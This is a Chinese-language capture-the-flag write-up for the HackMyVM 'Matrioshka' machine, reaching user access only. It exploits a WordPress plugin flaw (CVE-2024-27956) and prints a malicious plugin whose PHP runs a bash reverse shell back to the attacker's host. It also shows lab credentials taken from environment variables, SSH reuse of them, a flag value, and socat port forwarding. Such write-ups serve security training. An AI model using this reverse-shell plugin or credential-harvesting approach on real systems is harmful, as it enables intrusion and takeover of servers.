Matrioshka. (only user)

https://hackmyvm.eu/machines/machine.php?vm=Matrioshka

Notes：This lab needed around 2 minutes for get up all the containers.

前期踩点

➜  Matrioshka nmap -sP 192.168.56.0/24                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 23:05 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00072s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00057s latency).
MAC Address: 08:00:27:2F:F3:93 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.49
Host is up (0.00038s latency).
MAC Address: 08:00:27:6A:20:65 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.50
Host is up (0.00040s latency).
MAC Address: 08:00:27:6C:FD:E0 (Oracle VirtualBox virtual NIC)

➜  Matrioshka nmap -sT -min-rate 10000 -p- 192.168.56.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 23:06 EDT
Nmap scan report for 192.168.56.50
Host is up (0.00080s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:6C:FD:E0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.88 seconds

➜  Matrioshka nmap -sT -A -T4 -O -p 22,80 192.168.56.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 23:06 EDT
Nmap scan report for 192.168.56.50
Host is up (0.00078s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 b5:a4:7c:65:5c:1f:d7:89:42:bd:76:df:2c:8e:93:4e (ECDSA)
|_  256 5d:3d:2b:43:fc:89:fa:24:a3:f4:73:5f:7b:89:6c:e3 (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: mamushka
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 08:00:27:6C:FD:E0 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.78 ms 192.168.56.50

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.67 seconds

➜  Matrioshka nmap -script=vuln 22,80 192.168.56.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 23:08 EDT
Failed to resolve "22,80".
Nmap scan report for 192.168.56.50
Host is up (0.00019s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.50
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.50:80/
|     Form id: wp-block-search__input-2
|     Form action: http://mamushka.hmv/
|     
|     Path: http://192.168.56.50:80/
|     Form id: um_field_8_user_login
|_    Form action: 
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|_  /wp-login.php: Wordpress login page.
MAC Address: 08:00:27:6C:FD:E0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 48.17 seconds

Web 渗透

信息收集

看 script 扫描的结果是 wordpress ，将 mamushka.hmv 添加进 /etc/hosts

直接上 wpscan

➜  Matrioshka wpscan --url mamushka.hmv --api-token bOauzGNYvhy6BU3DlHGCMVZmWJDqZH5tuFoHfsdk91o -e u,ap --plugins-detection mixed  
_______________________________________________________________                                         
         __          _______   _____                                                                    
         \ \        / /  __ \ / ____|                                                                    
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®                                                  
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \                                                   
            \  /\  /  | |     ____) | (__| (_| | | | |   
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                  
                                             
         WordPress Security Scanner by the WPScan Team    
                         Version 3.8.27           
       Sponsored by Automattic - https://automattic.com/                                                
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart                                                  
_______________________________________________________________    
                                                            
[+] URL: http://mamushka.hmv/ [192.168.56.50]
[+] Started: Tue Apr 22 23:16:04 2025

Interesting Finding(s):
[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.61 (Debian)
 |  - X-Powered-By: PHP/8.2.22
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://mamushka.hmv/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://mamushka.hmv/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://mamushka.hmv/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.6.1 identified (Insecure, released on 2024-07-23).
 | Found By: Query Parameter In Install Page (Aggressive Detection)
 |  - http://mamushka.hmv/wp-includes/css/dashicons.min.css?ver=6.6.1
 |  - http://mamushka.hmv/wp-includes/css/buttons.min.css?ver=6.6.1
 |  - http://mamushka.hmv/wp-admin/css/forms.min.css?ver=6.6.1
 |  - http://mamushka.hmv/wp-admin/css/l10n.min.css?ver=6.6.1
 |  - http://mamushka.hmv/wp-admin/css/install.min.css?ver=6.6.1

[+] WordPress theme in use: twentytwentyfour
 | Location: http://mamushka.hmv/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://mamushka.hmv/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | Style URL: http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:04:06 <==========================================================================================================================> (110121 / 110121) 100.00% Time: 00:04:06
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://mamushka.hmv/wp-content/plugins/akismet/
 | Latest Version: 5.3.7
 | Last Updated: 2025-04-14T23:37:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
 |
 | The version could not be determined.
 [+] meta-generator-and-version-info-remover
 | Location: http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/
 | Latest Version: 16.0 (up to date)
 | Last Updated: 2024-11-20T05:03:00.000Z
 | Readme: http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/readme.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/, status: 403
 |
 | Version: 16.0 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/readme.txt

[+] ultimate-member
 | Location: http://mamushka.hmv/wp-content/plugins/ultimate-member/
 | Last Updated: 2025-04-02T20:20:00.000Z
 | Readme: http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt
 | [!] The version is out of date, the latest version is 2.10.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/, status: 403
 |
 | [!] 7 vulnerabilities identified:
 |
 | [!] Title: Ultimate Member < 2.8.7 - Cross-Site Request Forgery to Membership Status Change
 |     Fixed in: 2.8.7
 |     References:
 |      - https://wpscan.com/vulnerability/2b670a80-2682-4b7f-a549-64a35345e630
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8520
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/7ffddc03-d4ae-460e-972a-98804d947d09
 |
 | [!] Title: Ultimate Member < 2.8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting
 |     Fixed in: 2.8.7
 |     References:
 |      - https://wpscan.com/vulnerability/7488f9f3-03ea-4f4e-b5fb-c0dd02c5bb59
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8519
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/9e394bb2-d505-4bf1-b672-fea3504bf936
 |
 | [!] Title: Ultimate Member < 2.9.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary User Profile Picture Update
 |     Fixed in: 2.9.0
 |     References:
 |      - https://wpscan.com/vulnerability/54a53b30-4249-4559-85f8-7aeac2dc0df2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10528
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/0a9793b6-2186-46ef-b204-d8f8f154ebf3
 |
 | [!] Title: Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin < 2.9.2 - Information Exposure
 |     Fixed in: 2.9.2
 |     References:
 |      - https://wpscan.com/vulnerability/cb9c5ef8-51f8-4a46-ae56-23302c5980aa
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0318
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/4ee149bf-ffa3-4906-8be2-9c3c40b28287
 |
 | [!] Title: Ultimate Member < 2.9.2 - Unauthenticated SQL Injection
 |     Fixed in: 2.9.2
 |     References:
 |      - https://wpscan.com/vulnerability/31ef60db-4847-4623-a194-8722e668e6ab
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0308
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/e3e5bb98-2652-499a-b8cd-4ebfe1c1d890
 |
 | [!] Title: Ultimate Member < 2.10.0 - Authenticated SQL Injection
 |     Fixed in: 2.10.0
 |     References:
 |      - https://wpscan.com/vulnerability/90b5192a-ceee-4612-8e21-2341bae29cad
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12276
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/846f9828-2f1f-4d08-abfb-909b8d634d8a
 |
 | [!] Title: Ultimate Member < 2.10.1 - Unauthenticated SQLi
 |     Fixed in: 2.10.1
 |     References:
 |      - https://wpscan.com/vulnerability/1d39ff72-1178-4812-be55-9bf4b58bbbb6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1702
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/34adbae5-d615-4f8d-a845-6741d897f06c
 |
 | Version: 2.8.6 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt

 [+] wp-automatic
 | Location: http://mamushka.hmv/wp-content/plugins/wp-automatic/
 | Latest Version: 3.110.0
 | Last Updated: 2025-04-15T04:28:47.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/wp-automatic/, status: 200
 |
 | [!] 7 vulnerabilities identified:
 |
 | [!] Title: Automatic 2.0.3 - csv.php q Parameter SQL Injection
 |     Fixed in: 2.0.4
 |     References:
 |      - https://wpscan.com/vulnerability/dadc99ca-54ee-42b4-b247-79a47b884f03
 |      - https://www.exploit-db.com/exploits/19187/
 |      - https://packetstormsecurity.com/files/113763/
 |
 | [!] Title: WordPress Automatic < 3.53.3 - Unauthenticated Arbitrary Options Update
 |     Fixed in: 3.53.3
 |     References:
 |      - https://wpscan.com/vulnerability/4e5202b8-7317-4a10-b9f3-fd6999192e15
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4374
 |      - https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/
 |
 | [!] Title: Automatic < 3.92.1 - Cross-Site Request Forgery to Privilege Escalation
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/fa2f3687-7a5f-4781-8284-6fbea7fafd0e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27955
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/12adf619-4be8-4ecf-8f67-284fc44d87d0
 |
 | [!] Title: Automatic < 3.92.1 - Unauthenticated Arbitrary File Download and Server-Side Request Forgery
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/53b97401-1352-477b-a69a-680b01ef7266
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27954
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/620e8931-64f0-4d9c-9a4c-1f5a703845ff
 |
 | [!] Title: Automatic < 3.92.1 - Unauthenticated SQL Injection
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/53a51e79-a216-4ca3-ac2d-57098fd2ebb5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27956
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a8b319be-f312-4d02-840f-e2a91c16b67a
 |
 | [!] Title: WordPress Automatic Plugin < 3.93.0 Cross-Site Request Forgery
 |     Fixed in: 3.93.0
 |     References:
 |      - https://wpscan.com/vulnerability/e5d0dcec-41a7-40ae-b9ce-f839de9c28b8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32693
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/6231e47e-2120-4746-97c1-2aa80aa18f4e
 |
 | [!] Title: WordPress Automatic < 3.95.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via autoplay Parameter
 |     Fixed in: 3.95.0
 |     References:
 |      - https://wpscan.com/vulnerability/d0198310-b323-476a-adf8-10504383ce1c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4849
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/4be58bfa-d489-45f5-9169-db8bab718175
 |
 | The version could not be determined.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:20 <==================================================================================================================================> (10 / 10) 100.00% Time: 00:00:20

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 6
 | Requests Remaining: 19

[+] Finished: Tue Apr 22 23:21:28 2025
[+] Requests Done: 110201
[+] Cached Requests: 25
[+] Data Sent: 29.485 MB
[+] Data Received: 15.042 MB
[+] Memory used: 576.402 MB
[+] Elapsed time: 00:05:23

其中 wp-automatic 和 ultimate-member 有漏洞，其中wp-automatic 不知道准确版本

CVE-2024-27956

最后测试中，发现存在 CVE-2024-27956 可利用，exp：https://github.com/diego-tella/CVE-2024-27956-RCE

exp 通过漏洞给我们创建了恶意管理员用户 eviladmin:admin

WordPress 后台利用

上传恶意插件来 Getshell

制作恶意插件

<?php
/**
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI: 
 * Description: Reverse Shell Plugin for penetration testing.
 * Version: 1.0
 * Author: Security Analyst
 * Author URI: http://www.example.com
 */
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.4/1234 0>&1'");
?>

➜  Matrioshka vim shell.php 
➜  Matrioshka zip shell.zip shell.php 
  adding: shell.php (deflated 28%)

上传 shell.zip
上传完毕后Kali开启监听
然后到插件页面启用插件就能收到弹回来的 shell 了

提权 - to matrioshka

信息收集

可以看到是在Docker 容器里面

www-data@3ed5ddfe0e0c:/var/www/html/wp-admin$ ls -al /
ls -al /
total 72
drwxr-xr-x   1 root root 4096 Aug 21  2024 .
drwxr-xr-x   1 root root 4096 Aug 21  2024 ..
-rwxr-xr-x   1 root root    0 Aug 21  2024 .dockerenv

找一下数据库配置文件

可以发现是通过环境变量来获取的，查看一下环境变量

www-data@3ed5ddfe0e0c:/var/www/html$ env

HOSTNAME=3ed5ddfe0e0c
PHP_VERSION=8.2.22
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/var/www/html
APACHE_LOG_DIR=/var/log/apache2
LANG=C
PHP_SHA256=8566229bc88ad1f4aadc10700ab5fbcec81587c748999d985f11cf3b745462df
APACHE_PID_FILE=/var/run/apache2/apache2.pid
WORDPRESS_DB_HOST=db
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev                make            pkg-config              re2c
PHP_URL=https://www.php.net/distributions/php-8.2.22.tar.xz
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
WORDPRESS_DB_PASSWORD=Fukurokuju
APACHE_RUN_DIR=/var/run/apache2
APACHE_ENVVARS=/etc/apache2/envvars
APACHE_RUN_USER=www-data
WORDPRESS_DB_USER=matrioska
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
WORDPRESS_DB_NAME=wordpressdb
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.22.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=/usr/bin/env
OLDPWD=/var/www/html/wp-includes

获得凭据 matrioska:Fukurokuju 尝试一下进行 SSH

➜  Matrioshka ssh matrioshka@192.168.56.50
The authenticity of host '192.168.56.50 (192.168.56.50)' can't be established.
ED25519 key fingerprint is SHA256:lVUuog2bGOZugWGvEpB7pgBuLs0sI2warKxGwgPeka4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.50' (ED25519) to the list of known hosts.
matrioshka@192.168.56.50's password: 
Linux matrioshka 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 22 19:12:21 2024 from 10.0.2.8
matrioshka@matrioshka:~$

成功登录，但是要注意环境变量中的用户名少了个字母，对比靶机名称得到的。

matrioshka@matrioshka:~$ cat user.txt 
c8129b0390452d8378535cff76e0dde8

可以看到有很多网卡，也可以看出来有 Docker 环境

查看监听的端口

matrioshka@matrioshka:~$ ss -tulpn
Netid                  State                   Recv-Q                  Send-Q                                   Local Address:Port                                      Peer Address:Port                  Process                  
udp                    UNCONN                  0                       0                                              0.0.0.0:68                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       128                                            0.0.0.0:22                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                         127.0.0.1:9090                                           0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                         127.0.0.1:8080                                           0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                         127.0.0.1:36437                                          0.0.0.0:*                                              
tcp                    LISTEN                  0                       128                                               [::]:22                                                [::]:*                                              
tcp                    LISTEN                  0                       511                                                  *:80                                                   *:*

有几个仅在本地开放的端口：9090，8080，36437

上传 pspy64 监听一下

通过 socat 转发出来

matrioshka@matrioshka:/tmp$ ./socat TCP-LISTEN:9091,fork TCP4:127.0.0.1:9090 &
[1] 31379
matrioshka@matrioshka:/tmp$ ./socat TCP-LISTEN:8081,fork TCP4:127.0.0.1:8080 &
[2] 31534
matrioshka@matrioshka:/tmp$ ./socat TCP-LISTEN:36438,fork TCP4:127.0.0.1:36437 &
[3] 31535

Matrioshka. (only user)

前期踩点

Web 渗透

信息收集

CVE-2024-27956

WordPress 后台利用

提权 - to matrioshka

信息收集

到这里没法继续，一些服务起不来

HackMyVM - Matrioshka (only user)